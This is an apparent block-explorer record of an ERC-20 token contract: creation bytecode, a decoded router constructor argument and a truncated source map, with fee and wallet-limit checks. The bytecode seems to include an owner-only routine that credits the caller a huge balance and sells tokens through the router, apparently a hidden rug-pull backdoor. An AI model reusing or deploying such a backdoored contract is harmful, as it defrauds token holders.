180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d490613252565b60405180910390fd5b80600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114b7919061284b565b60405180910390a3505050565b5f6114cf8484611163565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611549578181101561153b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611532906132ba565b60405180910390fd5b6115488484848403611301565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b490613348565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361162b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611622906133d6565b60405180910390fd5b611636838383611f09565b5f600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156116ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b190613464565b60405180910390fd5b60125f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611758575060125f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c5557611766846121d6565b15611953575f61177883600554612285565b905082826117869190612e1f565b600e5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080836117d39190612e1f565b600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461181e9190612afb565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866118809190612e1f565b60405161188d919061284b565b60405180910390a380600e5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546118e19190612afb565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611945919061284b565b60405180910390a350611c50565b61195c836121d6565b15611b49575f61196e83600654612285565b9050828261197c9190612e1f565b600e5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080836119c99190612e1f565b600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a149190612afb565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386611a769190612e1f565b604051611a83919061284b565b60405180910390a380600e5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611ad79190612afb565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b3b919061284b565b60405180910390a350611c4f565b8181611b559190612e1f565b600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555081600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611be29190612afb565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c46919061284b565b60405180910390a35b5b611d5b565b8181611c619190612e1f565b600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555081600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611cee9190612afb565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d52919061284b565b60405180910390a35b611d668484846122a6565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16611d8b610aca565b73ffffffffffffffffffffffffffffffffffffffff1614611de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd8906134cc565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6dffffffffffffffffffffffffffff8016600e5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611f009190612afb565b92505081905550565b60135f9054906101000a900460ff16158015611f2b5750611f29836121d6565b155b8015611f6a5750611f3a610aca565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611fa257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fc257600a54611fb330610a10565b10611fc157611fc0612394565b5b5b5f600c54146120b55760125f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612069575060125f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156120b457600c548111156120b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120aa90613534565b60405180910390fd5b5b5b5f600d54141580156120cd57506120cb826121d6565b155b8015612120575060125f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612173575060125f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156121d157600d548161218584610a10565b61218f9190612afb565b11156121d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c7906135c2565b60405180910390fd5b5b505050565b5f60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148061227e575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b5f6064828461229491906135e0565b61229e919061364e565b905092915050565b60125f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612344575060125f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561238457612352826121d6565b156123835760145f8154809291906123699061367e565b9190505550600954601454036123825761238161263b565b5b5b5b5f811161238f575f80fd5b505050565b600160135f6101000a81548160ff0219169083151502179055506123e23060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166123dd30610a10565b611301565b6060600267ffffffffffffffff8111156123ff576123fe612e52565b5b60405190808252806020026020018201604052801561242d5781602001602082028036833780820191505090505b50905030815f8151811061244457612443612e7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124e8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061250c9190612ec0565b816001815181106125205761251f612e7f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9476125a030610a10565b5f84600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166104b0426125d29190612afb565b6040518663ffffffff1660e01b81526004016125f2959493929190612fa2565b5f604051808303815f87803b158015612609575f80fd5b505af115801561261b573d5f803e3d5ffd5b50505050505f60135f6101000a81548160ff021916908315150217905550565b600754600554111561266157600160055f8282546126599190612e1f565b925050819055505b600854600654111561268757600160065f82825461267f9190612e1f565b925050819055505b5f601481905550565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156126c75780820151818401526020810190506126ac565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6126ec82612690565b6126f6818561269a565b93506127068185602086016126aa565b61270f816126d2565b840191505092915050565b5f6020820190508181035f83015261273281846126e2565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6127678261273e565b9050919050565b6127778161275d565b8114612781575f80fd5b50565b5f813590506127928161276e565b92915050565b5f819050919050565b6127aa81612798565b81146127b4575f80fd5b50565b5f813590506127c5816127a1565b92915050565b5f80604083850312156127e1576127e061273a565b5b5f6127ee85828601612784565b92505060206127ff858286016127b7565b9150509250929050565b5f8115159050919050565b61281d81612809565b82525050565b5f6020820190506128365f830184612814565b92915050565b61284581612798565b82525050565b5f60208201905061285e5f83018461283c565b92915050565b5f805f6060848603121561287b5761287a61273a565b5b5f61288886828701612784565b935050602061289986828701612784565b92505060406128aa868287016127b7565b9150509250925092565b5f6040820190506128c75f83018561283c565b6128d4602083018461283c565b9392505050565b5f60ff82169050919050565b6128f0816128db565b82525050565b5f6020820190506129095f8301846128e7565b92915050565b5f602082840312156129245761292361273a565b5b5f612931848285016127b7565b91505092915050565b5f6020828403121561294f5761294e61273a565b5b5f61295c84828501612784565b91505092915050565b61296e8161275d565b82525050565b5f6020820190506129875f830184612965565b92915050565b5f80604083850312156129a3576129a261273a565b5b5f6129b0858286016127b7565b92505060206129c1858286016127b7565b9150509250929050565b5f80604083850312156129e1576129e061273a565b5b5f6129ee85828601612784565b92505060206129ff85828601612784565b9150509250929050565b612a1281612809565b8114612a1c575f80fd5b50565b5f81359050612a2d81612a09565b92915050565b5f8060408385031215612a4957612a4861273a565b5b5f612a5685828601612784565b9250506020612a6785828601612a1f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612ab557607f821691505b602082108103612ac857612ac7612a71565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612b0582612798565b9150612b1083612798565b9250828201905080821115612b2857612b27612ace565b5b92915050565b5f819050919050565b5f819050919050565b5f612b5a612b55612b5084612b2e565b612b37565b612798565b9050919050565b612b6a81612b40565b82525050565b5f60c082019050612b835f830189612965565b612b90602083018861283c565b612b9d6040830187612b61565b612baa6060830186612b61565b612bb76080830185612965565b612bc460a083018461283c565b979650505050505050565b5f81519050612bdd816127a1565b92915050565b5f805f60608486031215612bfa57612bf961273a565b5b5f612c0786828701612bcf565b9350506020612c1886828701612bcf565b9250506040612c2986828701612bcf565b9150509250925092565b7f5f73746570734265666f72655265647563652063616e74206265206c6f7765725f8201527f207468616e203100000000000000000000000000000000000000000000000000602082015250565b5f612c8d60278361269a565b9150612c9882612c33565b604082019050919050565b5f6020820190508181035f830152612cba81612c81565b9050919050565b7f6e65772042757920466565206578636565647320746865206c696d69742100005f82015250565b5f612cf5601e8361269a565b9150612d0082612cc1565b602082019050919050565b5f6020820190508181035f830152612d2281612ce9565b9050919050565b7f6e65772053656c6c20466565206578636565647320746865206c696d697421005f82015250565b5f612d5d601f8361269a565b9150612d6882612d29565b602082019050919050565b5f6020820190508181035f830152612d8a81612d51565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612deb60258361269a565b9150612df682612d91565b604082019050919050565b5f6020820190508181035f830152612e1881612ddf565b9050919050565b5f612e2982612798565b9150612e3483612798565b9250828203905081811115612e4c57612e4b612ace565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050612eba8161276e565b92915050565b5f60208284031215612ed557612ed461273a565b5b5f612ee284828501612eac565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612f1d8161275d565b82525050565b5f612f2e8383612f14565b60208301905092915050565b5f602082019050919050565b5f612f5082612eeb565b612f5a8185612ef5565b9350612f6583612f05565b805f5b83811015612f95578151612f7c8882612f23565b9750612f8783612f3a565b925050600181019050612f68565b5085935050505092915050565b5f60a082019050612fb55f83018861283c565b612fc26020830187612b61565b8181036040830152612fd48186612f46565b9050612fe36060830185612965565b612ff0608083018461283c565b9695505050505050565b5f6dffffffffffffffffffffffffffff82169050919050565b61301c81612ffa565b8114613026575f80fd5b50565b5f8151905061303781613013565b92915050565b5f63ffffffff82169050919050565b6130558161303d565b811461305f575f80fd5b50565b5f815190506130708161304c565b92915050565b5f805f6060848603121561308d5761308c61273a565b5b5f61309a86828701613029565b93505060206130ab86828701613029565b92505060406130bc86828701613062565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61312060268361269a565b915061312b826130c6565b604082019050919050565b5f6020820190508181035f83015261314d81613114565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6131ae60248361269a565b91506131b982613154565b604082019050919050565b5f6020820190508181035f8301526131db816131a2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61323c60228361269a565b9150613247826131e2565b604082019050919050565b5f6020820190508181035f83015261326981613230565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6132a4601d8361269a565b91506132af82613270565b602082019050919050565b5f6020820190508181035f8301526132d181613298565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61333260258361269a565b915061333d826132d8565b604082019050919050565b5f6020820190508181035f83015261335f81613326565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6133c060238361269a565b91506133cb82613366565b604082019050919050565b5f6020820190508181035f8301526133ed816133b4565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61344e60268361269a565b9150613459826133f4565b604082019050919050565b5f6020820190508181035f83015261347b81613442565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6134b660208361269a565b91506134c182613482565b602082019050919050565b5f6020820190508181035f8301526134e3816134aa565b9050919050565b7f54786e20416d6f756e7420746f6f2068696768210000000000000000000000005f82015250565b5f61351e60148361269a565b9150613529826134ea565b602082019050919050565b5f6020820190508181035f83015261354b81613512565b9050919050565b7f416674657220746869732074786e20757365722077696c6c20657863656564205f8201527f6d61782077616c6c657400000000000000000000000000000000000000000000602082015250565b5f6135ac602a8361269a565b91506135b782613552565b604082019050919050565b5f6020820190508181035f8301526135d9816135a0565b9050919050565b5f6135ea82612798565b91506135f583612798565b925082820261360381612798565b9150828204841483151761361a57613619612ace565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61365882612798565b915061366383612798565b92508261367357613672613621565b5b828204905092915050565b5f61368882612798565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036136ba576136b9612ace565b5b60018201905091905056fea264697066735822122078b8dfe4862de29e7967f8c4809665cab6011da054b9c1c7c97ac847d948b8cc64736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

3886:11714:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5241:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6151:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5542:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6358:293;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14300:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11597:157;;;;;;;;;;;;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;5443:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6659:236;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11762:416;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14664:97;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14879:106;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5658:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1534:103;;;;;;;;;;;;;:::i;:::-;;11121:47;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11177:106;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1301:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15291:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5340:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14993:290;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6903:434;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14472:77;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5793:191;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14557:99;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13104:647;;;;;;;;;;;;;:::i;:::-;;13759:277;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14769:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5992:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15474:123;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14385:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14144:69;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1645:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14219:75;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5241:91;5286:13;5319:5;5312:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5241:91;:::o;6151:199::-;6234:4;6251:13;6267:10;6251:26;;6288:32;6297:5;6304:7;6313:6;6288:8;:32::i;:::-;6338:4;6331:11;;;6151:199;;;;:::o;5542:108::-;5603:7;5630:12;;5623:19;;5542:108;:::o;6358:293::-;6489:4;6506:15;6524:10;6506:28;;6545:38;6561:4;6567:7;6576:6;6545:15;:38::i;:::-;6594:27;6604:4;6610:2;6614:6;6594:9;:27::i;:::-;6639:4;6632:11;;;6358:293;;;;;:::o;14300:79::-;14346:7;14364:12;;14357:19;;14300:79;:::o;11597:157::-;11648:21;11671:22;11714:14;;11730:15;;11706:40;;;;11597:157;;:::o;5443:91::-;5492:5;5517:9;;;;;;;;;;;5510:16;;5443:91;:::o;6659:236::-;6747:4;6764:13;6780:10;6764:26;;6801:64;6810:5;6817:7;6854:10;6826:25;6836:5;6843:7;6826:9;:25::i;:::-;:38;;;;:::i;:::-;6801:8;:64::i;:::-;6883:4;6876:11;;;6659:236;;;;:::o;11762:416::-;1260:13;:11;:13::i;:::-;11844:55:::1;11861:4;11876:7;;;;;;;;;;;11886:12;11844:8;:55::i;:::-;11910:37;11927:4;11934:12;11910:8;:37::i;:::-;;11958:7;;;;;;;;;;;:23;;;11990:9;12024:4;12045:12;12073:1;12090::::0;12107:10:::1;12151:4;12133:15;:22;;;;:::i;:::-;11958:212;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11762:416:::0;:::o;14664:97::-;1260:13;:11;:13::i;:::-;14746:7:::1;14733:10;:20;;;;14664:97:::0;:::o;14879:106::-;1260:13;:11;:13::i;:::-;14970:7:::1;14954:13;;:23;;;;;;;;;;;;;;;;;;14879:106:::0;:::o;5658:127::-;5732:7;5759:9;:18;5769:7;5759:18;;;;;;;;;;;;;;;;5752:25;;5658:127;;;:::o;1534:103::-;1260:13;:11;:13::i;:::-;1599:30:::1;1626:1;1599:18;:30::i;:::-;1534:103::o:0;11121:47::-;;;;;;;;;;;;;;;;;;;;;;:::o;11177:106::-;11224:7;11251:9;:24;11269:4;11251:24;;;;;;;;;;;;;;;;11244:31;;11177:106;:::o;1301:87::-;1347:7;1374:6;;;;;;;;;;;1367:13;;1301:87;:::o;15291:175::-;1260:13;:11;:13::i;:::-;15374:1:::1;15364:7;:11;15356:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;15451:7;15430:18;:28;;;;15291:175:::0;:::o;5340:95::-;5387:13;5420:7;5413:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5340:95;:::o;14993:290::-;1260:13;:11;:13::i;:::-;15097:2:::1;15086:7;:13;;15078:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;15165:2;15153:8;:14;;15145:58;;;;;;;;;;;;:::i;:::-;;;;;;;;;15231:7;15214:14;:24;;;;15267:8;15249:15;:26;;;;14993:290:::0;;:::o;6903:434::-;6996:4;7013:13;7029:10;7013:26;;7050:24;7077:25;7087:5;7094:7;7077:9;:25::i;:::-;7050:52;;7141:15;7121:16;:35;;7113:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;7234:60;7243:5;7250:7;7278:15;7259:16;:34;7234:8;:60::i;:::-;7325:4;7318:11;;;;6903:434;;;;:::o;14472:77::-;14518:7;14536:10;;14529:17;;14472:77;:::o;5793:191::-;5872:4;5889:13;5905:10;5889:26;;5926:28;5936:5;5943:2;5947:6;5926:9;:28::i;:::-;5972:4;5965:11;;;5793:191;;;;:::o;14557:99::-;1260:13;:11;:13::i;:::-;14641:7:::1;14631;:17;;;;14557:99:::0;:::o;13104:647::-;1260:13;:11;:13::i;:::-;13156:24:::1;13183:30;13207:4;13183:15;:30::i;:::-;13156:57;;13224:16;13263;13243:17;:36:::0;::::1;;;;;:::i;:::-;13224:55;;13290:11;:9;:11::i;:::-;13303:46;13320:4;13327:21;13337:10;13327:9;:21::i;:::-;13303:8;:46::i;:::-;;13360:60;13377:4;13392:7;;;;;;;;;;;13402:17;13360:60:::0;::::1;:8;:60::i;:::-;13431:21;13475:1;13461:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13454:23;;13506:4;13488;13493:1;13488:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;13531:7;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13513:4;13518:1;13513:7;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;::::0;::::1;13557:7;;;;;;;;;;;:58;;;13630:8;13653:1;13669:4;13688:7;:5;:7::i;:::-;13728:4;13710:15;:22;;;;:::i;:::-;13557:186;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;13142:609;;;13104:647::o:0;13759:277::-;13820:7;13841:16;13859;13880:5;;;;;;;;;;;:17;;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13840:59;;;;;13910:20;13952:5;13934:23;;:5;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:23;;;13933:65;;13989:8;13981:17;;13933:65;;;13969:8;13961:17;;13933:65;13910:88;;14016:12;14009:19;;;;;13759:277;;;:::o;14769:102::-;1260:13;:11;:13::i;:::-;14856:7:::1;14841:12;:22;;;;14769:102:::0;:::o;5992:151::-;6081:7;6108:11;:18;6120:5;6108:18;;;;;;;;;;;;;;;:27;6127:7;6108:27;;;;;;;;;;;;;;;;6101:34;;5992:151;;;;:::o;15474:123::-;1260:13;:11;:13::i;:::-;15582:7:::1;15557:15;:22;15573:5;15557:22;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;15474:123:::0;;:::o;14385:81::-;14432:7;14450:13;;;;;;;;;;;14443:20;;14385:81;:::o;14144:69::-;14185:7;14203;;14196:14;;14144:69;:::o;1645:201::-;1260:13;:11;:13::i;:::-;1754:1:::1;1734:22;;:8;:22;;::::0;1726:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1810:28;1829:8;1810:18;:28::i;:::-;1645:201:::0;:::o;14219:75::-;14263:7;14281:10;;14274:17;;14219:75;:::o;9123:380::-;9276:1;9259:19;;:5;:19;;;9251:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9357:1;9338:21;;:7;:21;;;9330:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9441:6;9411:11;:18;9423:5;9411:18;;;;;;;;;;;;;;;:27;9430:7;9411:27;;;;;;;;;;;;;;;:36;;;;9479:7;9463:32;;9472:5;9463:32;;;9488:6;9463:32;;;;;;:::i;:::-;;;;;;;;9123:380;;;:::o;9511:453::-;9646:24;9673:25;9683:5;9690:7;9673:9;:25::i;:::-;9646:52;;9733:17;9713:16;:37;9709:248;;9795:6;9775:16;:26;;9767:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9879:51;9888:5;9895:7;9923:6;9904:16;:25;9879:8;:51::i;:::-;9709:248;9635:329;9511:453;;;:::o;7345:1770::-;7492:1;7476:18;;:4;:18;;;7468:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7569:1;7555:16;;:2;:16;;;7547:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7624:38;7645:4;7651:2;7655:6;7624:20;:38::i;:::-;7675:19;7697:9;:15;7707:4;7697:15;;;;;;;;;;;;;;;;7675:37;;7746:6;7731:11;:21;;7723:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;7821:15;:21;7837:4;7821:21;;;;;;;;;;;;;;;;;;;;;;;;;7820:22;:46;;;;;7847:15;:19;7863:2;7847:19;;;;;;;;;;;;;;;;;;;;;;;;;7846:20;7820:46;7816:1242;;;7886:14;7895:4;7886:8;:14::i;:::-;7882:1010;;;7921:14;7938:42;7957:6;7965:14;;7938:18;:42::i;:::-;7921:59;;8031:6;8017:11;:20;;;;:::i;:::-;7999:9;:15;8009:4;7999:15;;;;;;;;;;;;;;;:38;;;;8082:9;8073:6;:18;;;;:::i;:::-;8056:9;:13;8066:2;